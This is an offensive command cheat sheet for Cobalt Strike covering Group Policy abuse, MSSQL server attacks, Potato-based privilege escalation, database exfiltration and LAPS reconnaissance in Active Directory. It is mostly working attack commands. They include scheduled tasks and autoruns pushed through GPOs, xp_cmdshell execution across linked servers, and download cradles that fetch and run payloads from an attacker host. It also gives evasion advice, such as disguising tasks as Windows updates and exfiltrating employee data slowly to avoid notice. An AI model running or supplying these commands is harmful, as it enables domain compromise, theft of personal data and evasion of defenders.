Group Policy Abuse, MSSQL Attacks & Specialized Techniques#
Group Policy Object (GPO) Abuse#
GPO Enumeration#
Usage: Identify GPOs with weak permissions for abuse.
# ===== BASIC GPO ENUMERATION =====
# List all GPOs
beacon> powerpick Get-DomainGPO | select displayname,gpcfilesyspath | ft -AutoSize
# Get GPOs sorted by name
beacon> powerpick Get-DomainGPO -Properties DisplayName | sort DisplayName
# Find GPOs by name pattern
beacon> powerpick Get-DomainGPO | ? {$_.DisplayName -like "*LAPS*"}
# Get GPO details
beacon> powerpick Get-DomainGPO -Identity "{AD2F58B9-97A0-4DBC-A535-B4ED36D5DD2F}" | fl
# ===== GPO PERMISSIONS ENUMERATION =====
# Find GPOs with write permissions for current user
beacon> powerpick Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "CreateChild|WriteProperty|GenericWrite|WriteDacl|GenericAll" -and $_.SecurityIdentifier -match "S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[\d]{4,10}" }
# Find GPOs writable by specific group
beacon> powerpick Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "CreateChild|WriteProperty" -and $_.SecurityIdentifier -eq "S-1-5-21-569305411-121244042-2357301523-1107" }
# Resolve SID to account name
beacon> powerpick ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
# ===== GPO LINK ENUMERATION =====
# Find OUs where GPO is linked
beacon> powerpick Get-DomainOU -GPLink "{AD2F58B9-97A0-4DBC-A535-B4ED36D5DD2F}" | select distinguishedname
# Get computers in OU affected by GPO
beacon> powerpick Get-DomainComputer -SearchBase "OU=Workstations,DC=corp,DC=local" | select dnshostname
# Find computers affected by specific GPO
beacon> powerpick Get-DomainGPOComputerLocalGroupMapping -GPOIdentity "{AD2F58B9-97A0-4DBC-A535-B4ED36D5DD2F}" | select ComputerName
# ===== GPO LOCAL GROUP MAPPING =====
# Find GPO-based local admin rights
beacon> powerpick Get-DomainGPOLocalGroup | select GPODisplayName,GroupName,GPOPath
# Find where users/groups have admin rights via GPO
beacon> powerpick Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName,GPODisplayName,ContainerName,ComputerName | fl
# ===== OPSEC CONSIDERATIONS =====
# OPSEC Notes:
# - GPO enumeration queries LDAP (Event ID 4662)
# - Focus on GPOs linked to high-value OUs (servers, workstations)
# - Check SYSVOL for GPO files (passwords, scripts)
# - GPO abuse requires careful planning (affects multiple computers)
Modify Existing GPO#
Usage: Abuse writable GPO permissions to execute code on target systems.
# ===== PREREQUISITE: IDENTIFY WRITABLE GPO =====
# Find GPOs with write permissions
beacon> powerpick Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "CreateChild|WriteProperty" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }
# Get GPO details and affected computers
beacon> powerpick Get-DomainGPO -Identity "CN={AD2F58B9-97A0-4DBC-A535-B4ED36D5DD2F},CN=Policies,CN=System,DC=corp,DC=local" | select displayname,gpcfilesyspath
# Verify SYSVOL access
beacon> ls \\corp.local\SysVol\corp.local\Policies\{AD2F58B9-97A0-4DBC-A535-B4ED36D5DD2F}
# Find target systems
beacon> powerpick Get-DomainOU -GPLink "{AD2F58B9-97A0-4DBC-A535-B4ED36D5DD2F}" | select distinguishedname
beacon> powerpick Get-DomainComputer -SearchBase "OU=Workstations,DC=corp,DC=local" | select dnshostname
# ===== SETUP PAYLOAD DELIVERY INFRASTRUCTURE =====
# Create pivot listener (SMB or TCP)
# Cobalt Strike > Listeners > Add > SMB Beacon
# Setup firewall rules on compromised host
beacon> powerpick New-NetFirewallRule -DisplayName "Windows Update Service" -Profile Domain -Direction Inbound -Action Allow -Protocol TCP -LocalPort 8080 -Program "C:\Windows\System32\svchost.exe"
# Setup reverse port forward
beacon> rportfwd 8080 127.0.0.1 80
# ===== METHOD 1: SCHEDULED TASK VIA SHARPGPOABUSE =====
# Add scheduled task to GPO
beacon> execute-assembly C:\Tools\SharpGPOAbuse\SharpGPOAbuse\bin\Release\SharpGPOAbuse.exe --AddComputerTask --TaskName "Windows Update Check" --Author "NT AUTHORITY\SYSTEM" --Command "C:\Windows\System32\cmd.exe" --Arguments "/c powershell -NoP -W Hidden -Enc <BASE64_PAYLOAD>" --GPOName "Vulnerable GPO"
# Alternative: Specify GPO by ID
beacon> execute-assembly C:\Tools\SharpGPOAbuse\SharpGPOAbuse\bin\Release\SharpGPOAbuse.exe --AddComputerTask --TaskName "Adobe Update" --Author "NT AUTHORITY\SYSTEM" --Command "cmd.exe" --Arguments "/c \\dc01\share\beacon.exe" --GPOName "{AD2F58B9-97A0-4DBC-A535-B4ED36D5DD2F}"
# ===== METHOD 2: IMMEDIATE TASK (RUNS ON NEXT GPO REFRESH) =====
# Create immediate task (no schedule, runs once)
beacon> execute-assembly C:\Tools\SharpGPOAbuse\SharpGPOAbuse\bin\Release\SharpGPOAbuse.exe --AddComputerTask --TaskName "System Diagnostic" --Author "NT AUTHORITY\SYSTEM" --Command "powershell.exe" --Arguments "-NoP -W Hidden -Enc <BASE64>" --GPOName "Vulnerable GPO" --Force
# ===== METHOD 3: STARTUP SCRIPT =====
# Add computer startup script
beacon> execute-assembly C:\Tools\SharpGPOAbuse\SharpGPOAbuse\bin\Release\SharpGPOAbuse.exe --AddComputerScript --ScriptName "startup.bat" --ScriptContents "powershell -NoP -W Hidden -Enc <BASE64>" --GPOName "Vulnerable GPO"
# ===== METHOD 4: USER LOGON SCRIPT =====
# Add user logon script (executes as user, not SYSTEM)
beacon> execute-assembly C:\Tools\SharpGPOAbuse\SharpGPOAbuse\bin\Release\SharpGPOAbuse.exe --AddUserScript --ScriptName "logon.vbs" --ScriptContents "CreateObject(""WScript.Shell"").Run ""powershell -NoP -Enc <BASE64>"", 0" --GPOName "Vulnerable GPO"
# ===== METHOD 5: REGISTRY AUTORUN =====
# Add registry-based autorun
beacon> execute-assembly C:\Tools\SharpGPOAbuse\SharpGPOAbuse\bin\Release\SharpGPOAbuse.exe --AddUserRights --UserRights "SeDenyNetworkLogonRight" --UserAccount "testuser" --GPOName "Vulnerable GPO"
# ===== METHOD 6: MANUAL GPO MODIFICATION (SYSVOL) =====
# Download GPO files from SYSVOL
beacon> download \\corp.local\SysVol\corp.local\Policies\{AD2F58B9-97A0-4DBC-A535-B4ED36D5DD2F}\Machine\Scripts\scripts.ini
# Modify locally, then upload
beacon> upload C:\Modified\scripts.ini
beacon> mv scripts.ini \\corp.local\SysVol\corp.local\Policies\{AD2F58B9-97A0-4DBC-A535-B4ED36D5DD2F}\Machine\Scripts\scripts.ini
# ===== FORCE GPO UPDATE (OPTIONAL) =====
# Force immediate GPO update on target (if you have remote access)
beacon> remote-exec wmi wkstn-01.corp.local "gpupdate /force"
# ===== WAIT FOR CALLBACKS =====
# GPO updates occur:
# - Computer startup
# - Background refresh (90-120 minutes by default)
# - Manual gpupdate /force
# Monitor for incoming beacons
# Cobalt Strike > Beacon > [Wait for connections]
# ===== CLEANUP =====
# Remove scheduled task
beacon> execute-assembly C:\Tools\SharpGPOAbuse\SharpGPOAbuse\bin\Release\SharpGPOAbuse.exe --RemoveComputerTask --TaskName "Windows Update Check" --GPOName "Vulnerable GPO"
# Remove startup script
beacon> execute-assembly C:\Tools\SharpGPOAbuse\SharpGPOAbuse\bin\Release\SharpGPOAbuse.exe --RemoveComputerScript --ScriptName "startup.bat" --GPOName "Vulnerable GPO"
# Remove firewall rules
beacon> powerpick Remove-NetFirewallRule -DisplayName "Windows Update Service"
# Stop reverse port forward
beacon> rportfwd stop 8080
# ===== OPSEC CONSIDERATIONS =====
# OPSEC Notes:
# - GPO modifications are logged (Event ID 5136 on DC)
# - Affects multiple computers (high impact)
# - GPO changes replicate to all DCs
# - SYSVOL file modifications visible to all domain admins
# - Scheduled tasks create Event ID 4698 (task created)
# - Startup scripts are very suspicious if not commonly used
# - Time GPO abuse during maintenance windows
# - Use legitimate-sounding task names
# - Clean up after successful exploitation
Create and Link New GPO#
Usage: Create new GPO and link to organizational units.
# ===== PREREQUISITE: CHECK GPO CREATION RIGHTS =====
# Check if current user can create GPOs
beacon> powerpick Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=corp,DC=local" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" -and $_.ActiveDirectoryRights -contains "CreateChild" } | % { ConvertFrom-SID $_.SecurityIdentifier }
# ===== CHECK OU LINK PERMISSIONS =====
# Find OUs where we can link GPOs (WriteProperty on gpLink)
beacon> powerpick Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN,ActiveDirectoryRights,ObjectAceType,SecurityIdentifier | fl
# Resolve SID
beacon> powerpick ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
# ===== VERIFY RSAT TOOLS (REQUIRED FOR GPO CREATION) =====
# Check if GroupPolicy module available
beacon> powerpick Get-Module -List -Name GroupPolicy | select -expand ExportedCommands
# If not available, must create GPO from system with RSAT installed
# ===== CREATE NEW GPO =====
# Create GPO
beacon> powerpick New-GPO -Name "Security Compliance Policy"
# Alternative: Create with comment
beacon> powerpick New-GPO -Name "Audit Policy Update" -Comment "Quarterly security audit updates"
# ===== CONFIGURE GPO (REGISTRY-BASED PERSISTENCE) =====
# Find accessible share for payload hosting
beacon> powerpick Find-DomainShare -CheckShareAccess
# Upload payload to accessible share
beacon> cd \\dc01\software
beacon> upload C:\Payloads\beacon.exe
beacon> mv beacon.exe UpdateService.exe
# Add registry autorun to GPO
beacon> powerpick Set-GPPrefRegistryValue -Name "Security Compliance Policy" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "SecurityUpdate" -Value "\\dc01\software\UpdateService.exe" -Type ExpandString
# Alternative: User-level autorun
beacon> powerpick Set-GPPrefRegistryValue -Name "Security Compliance Policy" -Context User -Action Create -Key "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "UserSync" -Value "powershell -NoP -W Hidden -Enc <BASE64>" -Type String
# ===== CONFIGURE GPO (SCHEDULED TASK) =====
# Create scheduled task via GPO (requires New-ScheduledTaskAction cmdlet)
beacon> powerpick $action = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c powershell -NoP -Enc <BASE64>"; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries; $task = New-ScheduledTask -Action $action -Trigger $trigger -Settings $settings; Register-ScheduledTask -TaskName "UpdateCheck" -InputObject $task -Force
# ===== LINK GPO TO TARGET OU =====
# Get GPO object
beacon> powerpick $gpo = Get-GPO -Name "Security Compliance Policy"
# Link to target OU
beacon> powerpick New-GPLink -Guid $gpo.Id -Target "OU=Workstations,DC=corp,DC=local"
# Alternative: Link with enforcement (cannot be blocked)
beacon> powerpick New-GPLink -Guid $gpo.Id -Target "OU=Workstations,DC=corp,DC=local" -LinkEnabled Yes -Enforced Yes
# Verify link
beacon> powerpick Get-GPInheritance -Target "OU=Workstations,DC=corp,DC=local"
# ===== FORCE GPO UPDATE =====
# Wait for natural GPO refresh (90-120 minutes)
# OR force update if you have access to target computers
beacon> remote-exec wmi wkstn-01.corp.local "gpupdate /force"
# ===== CLEANUP =====
# Unlink GPO from OU
beacon> powerpick Remove-GPLink -Name "Security Compliance Policy" -Target "OU=Workstations,DC=corp,DC=local"
# Delete GPO
beacon> powerpick Remove-GPO -Name "Security Compliance Policy"
# Remove payload from share
beacon> shell del \\dc01\software\UpdateService.exe
# ===== OPSEC CONSIDERATIONS =====
# OPSEC Notes:
# - New GPO creation generates Event ID 5137 (directory object created)
# - GPO link generates Event ID 5136 (directory object modified)
# - GPO changes visible in Group Policy Management Console
# - New GPOs stand out in well-managed environments
# - Use names that match existing GPO naming conventions
# - Modifying existing GPO often stealthier than creating new one
# - SYSVOL replication may take time (multiple DCs)
# - Registry-based persistence is common and less suspicious
MSSQL Server Attacks#
MSSQL Enumeration#
Usage: Discover and enumerate SQL Server instances in the domain.
# ===== IMPORT POWERUPSQL =====
beacon> powershell-import C:\Tools\PowerUpSQL\PowerUpSQL.ps1
# ===== DISCOVER SQL INSTANCES =====
# Discover SQL instances in domain
beacon> powerpick Get-SQLInstanceDomain
# Discover SQL instances via broadcast
beacon> powerpick Get-SQLInstanceBroadcast
# Discover SQL instances via SPN queries
beacon> powerpick Get-SQLInstanceScanUDP
# Get SQL instances from specific computer
beacon> powerpick Get-SQLInstanceLocal -ComputerName srv01.corp.local
# ===== TEST CONNECTIVITY =====
# Test connection to SQL instance
beacon> powerpick Get-SQLConnectionTest -Instance "sql-01.corp.local,1433" | fl
# Test connectivity with specific credentials
beacon> powerpick Get-SQLConnectionTest -Instance "sql-01.corp.local,1433" -Username sa -Password "Password123!"
# Test all discovered instances
beacon> powerpick Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
# ===== SERVER INFORMATION =====
# Get SQL Server version and configuration
beacon> powerpick Get-SQLServerInfo -Instance "sql-01.corp.local,1433"
# Get detailed information from all accessible instances
beacon> powerpick Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
# ===== DATABASE ENUMERATION =====
# List databases
beacon> powerpick Get-SQLDatabase -Instance "sql-01.corp.local,1433"
# List tables in database
beacon> powerpick Get-SQLTable -Instance "sql-01.corp.local,1433" -DatabaseName "master"
# List columns in table
beacon> powerpick Get-SQLColumn -Instance "sql-01.corp.local,1433" -DatabaseName "master" -TableName "spt_values"
# ===== PRIVILEGE ENUMERATION =====
# Check if current user is sysadmin
beacon> powerpick Get-SQLServerInfo -Instance "sql-01.corp.local,1433" | select IsSysadmin
# Get current user privileges
beacon> powerpick Get-SQLQuery -Instance "sql-01.corp.local,1433" -Query "SELECT IS_SRVROLEMEMBER('sysadmin')"
# List server roles
beacon> powerpick Get-SQLQuery -Instance "sql-01.corp.local,1433" -Query "EXEC sp_helpsrvrolemember"
# ===== OPSEC CONSIDERATIONS =====
# OPSEC Notes:
# - SQL enumeration generates network traffic to multiple hosts
# - Failed authentication attempts logged (Event ID 18456)
# - Use domain authentication when possible (Kerberos)
# - Limit broadcast scans (noisy on network)
MSSQL Command Execution#
Usage: Execute operating system commands through SQL Server.
# ===== CHECK XP_CMDSHELL STATUS =====
# Check if xp_cmdshell is enabled
beacon> powerpick Get-SQLQuery -Instance "sql-01.corp.local,1433" -Query "SELECT value FROM sys.configurations WHERE name = 'xp_cmdshell'"
# ===== ENABLE XP_CMDSHELL (IF DISABLED) =====
# Enable advanced options
beacon> powerpick Get-SQLQuery -Instance "sql-01.corp.local,1433" -Query "sp_configure 'Show Advanced Options', 1; RECONFIGURE;"
# Enable xp_cmdshell
beacon> powerpick Get-SQLQuery -Instance "sql-01.corp.local,1433" -Query "sp_configure 'xp_cmdshell', 1; RECONFIGURE;"
# ===== COMMAND EXECUTION VIA POWERUPSQL =====
# Execute OS command via PowerUpSQL
beacon> powerpick Invoke-SQLOSCmd -Instance "sql-01.corp.local,1433" -Command "whoami" -RawResults
# Execute multiple commands
beacon> powerpick Invoke-SQLOSCmd -Instance "sql-01.corp.local,1433" -Command "ipconfig /all" -RawResults
# ===== MANUAL XP_CMDSHELL EXECUTION =====
# Execute command manually
beacon> powerpick Get-SQLQuery -Instance "sql-01.corp.local,1433" -Query "EXEC xp_cmdshell 'whoami'"
# Execute PowerShell command
beacon> powerpick Get-SQLQuery -Instance "sql-01.corp.local,1433" -Query "EXEC xp_cmdshell 'powershell -NoP -W Hidden -Enc <BASE64>'"
# ===== PAYLOAD DELIVERY =====
# Method 1: PowerShell download cradle
beacon> powerpick Invoke-SQLOSCmd -Instance "sql-01.corp.local,1433" -Command "powershell -NoP -W Hidden -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.5.50/payload.ps1')" -RawResults
# Method 2: Write payload to disk via certutil
beacon> powerpick Invoke-SQLOSCmd -Instance "sql-01.corp.local,1433" -Command "certutil -urlcache -f http://10.10.5.50/beacon.exe C:\Windows\Temp\update.exe" -RawResults
# Execute payload
beacon> powerpick Invoke-SQLOSCmd -Instance "sql-01.corp.local,1433" -Command "C:\Windows\Temp\update.exe" -RawResults
# ===== DISABLE XP_CMDSHELL (CLEANUP) =====
# Disable xp_cmdshell
beacon> powerpick Get-SQLQuery -Instance "sql-01.corp.local,1433" -Query "sp_configure 'xp_cmdshell', 0; RECONFIGURE;"
# Disable advanced options
beacon> powerpick Get-SQLQuery -Instance "sql-01.corp.local,1433" -Query "sp_configure 'Show Advanced Options', 0; RECONFIGURE;"
# ===== OPSEC CONSIDERATIONS =====
# OPSEC Notes:
# - xp_cmdshell execution logged in SQL Server logs
# - Commands execute as SQL Server service account
# - Enabling xp_cmdshell may trigger alerts (often disabled by default)
# - Use stealthy command execution (avoid obvious tools)
# - Clean up artifacts after execution
Interactive MSSQL Access (via Proxy)#
Usage: Direct SQL Server access through SOCKS proxy for advanced operations.
# ===== SETUP SOCKS PROXY =====
# Start SOCKS proxy on beacon
beacon> socks 1080 socks5 disableNoAuth socks_user socks_password enableLogging
# Configure proxychains
$ sudo vim /etc/proxychains4.conf
socks5 127.0.0.1 1080 socks_user socks_password
# ===== CONNECT VIA MSSQLCLIENT.PY =====
# Connect with Windows authentication
$ proxychains impacket-mssqlclient -windows-auth CORP/jdoe@sql-01.corp.local
# Connect with SQL authentication
$ proxychains impacket-mssqlclient sa:Password123!@sql-01.corp.local
# Connect with hash (pass-the-hash)
$ proxychains impacket-mssqlclient -windows-auth -hashes :8846f7eaee8fb117ad06bdd830b7586c CORP/jdoe@sql-01.corp.local
# ===== BASIC SQL QUERIES =====
# Check current user
SQL> SELECT SYSTEM_USER;
SQL> SELECT USER_NAME();
# Check if sysadmin
SQL> SELECT IS_SRVROLEMEMBER('sysadmin');
# List databases
SQL> SELECT name FROM sys.databases;
# Use specific database
SQL> USE master;
# ===== ENABLE XP_CMDSHELL =====
SQL> SELECT value FROM sys.configurations WHERE name = 'xp_cmdshell';
SQL> EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# ===== COMMAND EXECUTION =====
SQL> EXEC xp_cmdshell 'whoami';
SQL> EXEC xp_cmdshell 'hostname';
SQL> EXEC xp_cmdshell 'net user';
# Execute PowerShell
SQL> EXEC xp_cmdshell 'powershell -NoP -W Hidden -Enc <BASE64>';
# ===== FILE OPERATIONS =====
# Read file
SQL> EXEC xp_cmdshell 'type C:\inetpub\wwwroot\web.config';
# Write file
SQL> EXEC xp_cmdshell 'echo test > C:\Windows\Temp\test.txt';
# Download file
SQL> EXEC xp_cmdshell 'certutil -urlcache -f http://10.10.5.50/beacon.exe C:\Windows\Temp\beacon.exe';
# ===== OPSEC CONSIDERATIONS =====
# OPSEC Notes:
# - Interactive sessions leave more logs than automated queries
# - Long-running connections may be monitored
# - Use for manual exploration, not automated attacks
MSSQL Database Links#
Usage: Lateral movement through SQL Server link trusts.
# ===== ENUMERATE DATABASE LINKS =====
# List database links
beacon> powerpick Get-SQLServerLink -Instance "sql-02.corp.local,1433"
# Crawl database links recursively
beacon> powerpick Get-SQLServerLinkCrawl -Instance "sql-02.corp.local,1433"
# Get detailed link information
beacon> powerpick Get-SQLQuery -Instance "sql-02.corp.local,1433" -Query "SELECT * FROM master..sysservers"
# ===== TEST LINKED SERVER ACCESS =====
# Query linked server
beacon> powerpick Get-SQLQuery -Instance "sql-02.corp.local,1433" -Query "SELECT * FROM OPENQUERY([sql-01.corp.local], 'SELECT @@servername')"
# Check linked server configuration
beacon> powerpick Get-SQLQuery -Instance "sql-02.corp.local,1433" -Query "EXEC sp_linkedservers"
# ===== EXECUTE COMMANDS THROUGH LINKS =====
# Execute command on linked server via PowerUpSQL
beacon> powerpick Get-SQLServerLinkCrawl -Instance "sql-02.corp.local,1433" -Query "EXEC master..xp_cmdshell 'whoami'"
# Manual command execution through link
beacon> powerpick Get-SQLQuery -Instance "sql-02.corp.local,1433" -Query "SELECT * FROM OPENQUERY([sql-01.corp.local], 'SELECT @@servername; EXEC xp_cmdshell ''whoami''')"
# ===== ENABLE XP_CMDSHELL ON LINKED SERVER =====
# Check if xp_cmdshell enabled on linked server
beacon> powerpick Get-SQLQuery -Instance "sql-02.corp.local,1433" -Query "SELECT * FROM OPENQUERY([sql-01.corp.local], 'SELECT * FROM sys.configurations WHERE name = ''xp_cmdshell''')"
# Enable xp_cmdshell on linked server
beacon> powerpick Get-SQLQuery -Instance "sql-02.corp.local,1433" -Query "EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT [sql-01.corp.local]"
beacon> powerpick Get-SQLQuery -Instance "sql-02.corp.local,1433" -Query "EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [sql-01.corp.local]"
# ===== PAYLOAD DELIVERY THROUGH LINKS =====
# Deliver payload through database link
beacon> powerpick Get-SQLQuery -Instance "sql-02.corp.local,1433" -Query "SELECT * FROM OPENQUERY([sql-01.corp.local], 'SELECT @@servername; EXEC xp_cmdshell ''powershell -NoP -W Hidden -Enc <BASE64>''')"
# Alternative: Multi-hop link execution
beacon> powerpick Get-SQLQuery -Instance "sql-02.corp.local,1433" -Query "SELECT * FROM OPENQUERY([sql-01.corp.local], 'SELECT * FROM OPENQUERY([sql-03.corp.local], ''SELECT @@servername; EXEC xp_cmdshell ''''whoami'''''')')"
# ===== INTERACTIVE LINK ENUMERATION (VIA PROXY) =====
$ proxychains impacket-mssqlclient -windows-auth CORP/jdoe@sql-02.corp.local
# List linked servers
SQL> SELECT * FROM master..sysservers;
# Query linked server
SQL> SELECT * FROM OPENQUERY("sql-01.corp.local", 'SELECT @@servername');
# Enable xp_cmdshell on linked server
SQL> EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT [sql-01.corp.local]
SQL> EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [sql-01.corp.local]
# Execute command through link
SQL> SELECT * FROM OPENQUERY("sql-01.corp.local", 'EXEC xp_cmdshell ''whoami''');
# Multi-hop execution
SQL> SELECT * FROM OPENQUERY("sql-01.corp.local", 'SELECT * FROM OPENQUERY("sql-03.corp.local", ''SELECT @@servername; EXEC xp_cmdshell ''''hostname'''''')')
# ===== OPSEC CONSIDERATIONS =====
# OPSEC Notes:
# - Database links are legitimate (common in enterprises)
# - Link queries logged on both source and destination servers
# - Multi-hop links complicate attribution
# - RPC Out connections required (firewall rules)
# - Link abuse may be monitored by DBAs
# - Clean up xp_cmdshell configuration after use
MSSQL Privilege Escalation#
Usage: Escalate from SQL Server service account to SYSTEM using token abuse.
# ===== PREREQUISITE: SQL SERVER SERVICE ACCOUNT ACCESS =====
# Verify current context (should be SQL service account)
beacon> getuid
# Check privileges
beacon> shell whoami /priv
beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe TokenPrivileges
# Look for:
# SeImpersonatePrivilege = Enabled
# SeAssignPrimaryTokenPrivilege = Enabled
# ===== METHOD 1: SWEETPOTATO (UNIVERSAL) =====
# Execute SweetPotato for privilege escalation
beacon> execute-assembly C:\Tools\SweetPotato\bin\Release\SweetPotato.exe -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "-NoP -W Hidden -Enc <BASE64_BEACON_PAYLOAD>"
# ===== METHOD 2: GODPOTATO (WINDOWS SERVER 2012-2022) =====
# Execute GodPotato
beacon> execute-assembly C:\Tools\GodPotato\GodPotato.exe -cmd "powershell -NoP -W Hidden -Enc <BASE64>"
# ===== METHOD 3: PRINTSPOOFER (WINDOWS 10/SERVER 2016-2019) =====
# Execute PrintSpoofer
beacon> execute-assembly C:\Tools\PrintSpoofer\PrintSpoofer.exe -c "powershell -NoP -W Hidden -Enc <BASE64>"
# ===== METHOD 4: JUICYPOTATO (OLDER WINDOWS) =====
# Find appropriate CLSID for target OS
# http://ohpe.it/juicy-potato/CLSID/
# Execute JuicyPotato
beacon> execute-assembly C:\Tools\JuicyPotato\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c powershell -NoP -W Hidden -Enc <BASE64>" -t * -c {CLSID}
# ===== METHOD 5: ROGUEPOTATO (REQUIRES RELAY) =====
# Setup socat relay on attack machine
$ sudo socat tcp-listen:135,reuseaddr,fork tcp:10.10.20.50:9999
# Execute RoguePotato
beacon> execute-assembly C:\Tools\RoguePotato\RoguePotato.exe -r 10.10.5.50 -l 9999 -e "powershell -NoP -W Hidden -Enc <BASE64>"
# ===== CONNECT TO ELEVATED BEACON =====
# If using TCP local listener
beacon> connect localhost 4444
# If using SMB listener, link should happen automatically
beacon> link localhost <pipe_name>
# Verify SYSTEM access
beacon> getuid
# ===== ALTERNATIVE: DIRECT SYSTEM SHELL =====
# Spawn cmd.exe as SYSTEM (for manual commands)
beacon> execute-assembly C:\Tools\SweetPotato\bin\Release\SweetPotato.exe -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Temp\output.txt"
beacon> shell type C:\Temp\output.txt
# ===== OPSEC CONSIDERATIONS =====
# OPSEC Notes:
# - SeImpersonate abuse is well-known attack vector
# - Modern EDR detects Potato variants
# - Named pipe creation monitored (Sysmon Event ID 17-18)
# - DCOM/RPC activation may trigger alerts
# - Use BOF-based alternatives when available
# - Potato tools create new processes (Event ID 4688)
# - Consider using service accounts with minimal monitoring
MSSQL Data Exfiltration#
Usage: Extract sensitive data from SQL Server databases.
# ===== SEARCH FOR SENSITIVE DATA =====
# Search for sensitive keywords in all accessible databases
beacon> powerpick Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "email,address,credit,card,ssn,password" -SampleSize 5 | select instance,database,column,sample | ft -autosize
# Search specific database
beacon> powerpick Get-SQLColumnSampleDataThreaded -Instance "sql-01.corp.local,1433" -Keywords "password,credential,secret" -SampleSize 10
# ===== ENUMERATE DATABASE STRUCTURE =====
# List all databases
beacon> powerpick Get-SQLDatabase -Instance "sql-01.corp.local,1433"
# List tables in database
beacon> powerpick Get-SQLTable -Instance "sql-01.corp.local,1433" -DatabaseName "HR"
# List columns in table
beacon> powerpick Get-SQLColumn -Instance "sql-01.corp.local,1433" -DatabaseName "HR" -TableName "employees"
# ===== EXTRACT DATA =====
# Query specific table
beacon> powerpick Get-SQLQuery -Instance "sql-01.corp.local,1433" -Query "SELECT * FROM HR.dbo.employees"
# Export to CSV
beacon> powerpick Get-SQLQuery -Instance "sql-01.corp.local,1433" -Query "SELECT * FROM HR.dbo.employees" | Export-Csv -Path C:\Temp\employees.csv -NoTypeInformation
# Download exported data
beacon> download C:\Temp\employees.csv
# ===== DATA EXFILTRATION VIA DATABASE LINKS =====
# Query data through database link
beacon> powerpick Get-SQLQuery -Instance "sql-02.corp.local,1433" -Query "SELECT * FROM OPENQUERY([sql-01.corp.local], 'SELECT * FROM HR.dbo.employees WHERE salary > 100000')"
# ===== CLEANUP =====
beacon> shell del C:\Temp\employees.csv
# ===== OPSEC CONSIDERATIONS =====
# OPSEC Notes:
# - Large queries generate SQL Server audit logs
# - Data extraction creates network traffic
# - Failed queries logged (Event ID 33205)
# - DBAs may monitor unusual SELECT queries
# - Exfiltrate small amounts of data over time
# - Use WHERE clauses to limit dataset size
Local Administrator Password Solution (LAPS)#
LAPS Detection#
Usage: Identify LAPS deployment and accessible passwords.
# ===== CHECK FOR LAPS INSTALLATION =====
# Check for LAPS client installation
beacon> ls "C:\Program Files\LAPS\CSE"
# Check for LAPS Group Policy extension
beacon> shell reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{D76B9641-3288-4f75-942D-087DE603E3EA}"
# ===== ENUMERATE COMPUTERS WITH LAPS =====
# Find computers with LAPS attributes set
beacon> powerpick Get-DomainComputer | ? { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | select dnsHostName,ms-Mcs-AdmPwdExpirationTime
# Alternative: ADSearch
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(ms-Mcs-AdmPwdExpirationTime=*))" --attributes dnshostname,ms-Mcs-AdmPwdExpirationTime
# ===== IDENTIFY LAPS GPO =====
# Find GPO configuring LAPS
beacon> powerpick Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName,Name,GPCFileSysPath | fl
# ===== OPSEC CONSIDERATIONS =====
# OPSEC Notes:
# - LAPS enumeration queries LDAP (Event ID 4662)
# - ms-Mcs-AdmPwd attribute access is logged if auditing enabled
# - Focus enumeration on high-value targets
LAPS Configuration Analysis#
Usage: Download and analyze LAPS policy settings.
# ===== DOWNLOAD LAPS GPO FILES =====
# Locate LAPS GPO path
beacon> powerpick Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select GPCFileSysPath
# List GPO files
beacon> ls \\corp.local\SysVol\corp.local\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine
# Download Registry.pol file
beacon> download \\corp.local\SysVol\corp.local\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine\Registry.pol
# ===== PARSE POLICY FILE =====
# On attack machine, parse with Parse-PolFile
PS C:\> Import-Module .\Parse-PolFile.ps1
PS C:\> Parse-PolFile .\Registry.pol
# Look for:
# - PasswordComplexity (1=enabled, 0=disabled)
# - PasswordLength (default: 14)
# - PasswordAgeDays (default: 30)
# - AdmPwdEnabled (1=enabled)
